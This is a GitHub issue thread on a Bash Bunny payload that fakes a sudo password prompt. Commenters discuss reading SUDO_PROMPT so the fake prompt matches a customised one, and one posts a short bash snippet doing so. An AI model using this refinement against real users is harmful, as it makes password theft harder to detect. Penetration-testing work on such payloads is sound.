hak5/bashbunny-payloads

Use SUDO_PROMPT in sudo-phishing.sh

jhollowe opened this issue · 1 comments

jhollowe commented

for payloads/library/phishing/fake-sudo/sudo-phishing.sh, using the SUDO_PROMPT environment variable would allow this to be more convincing in environments with customized sudo prompts.

TW-D commented

Hello @jhollowe, it's a good idea, I guess this replacement :

if [ -z "${SUDO_PROMPT}" ]
then
    readonly INPUT_MESSAGE="[sudo] password for ${USER}: "
else
    readonly INPUT_MESSAGE="${SUDO_PROMPT}"
fi

would allow this optimization ?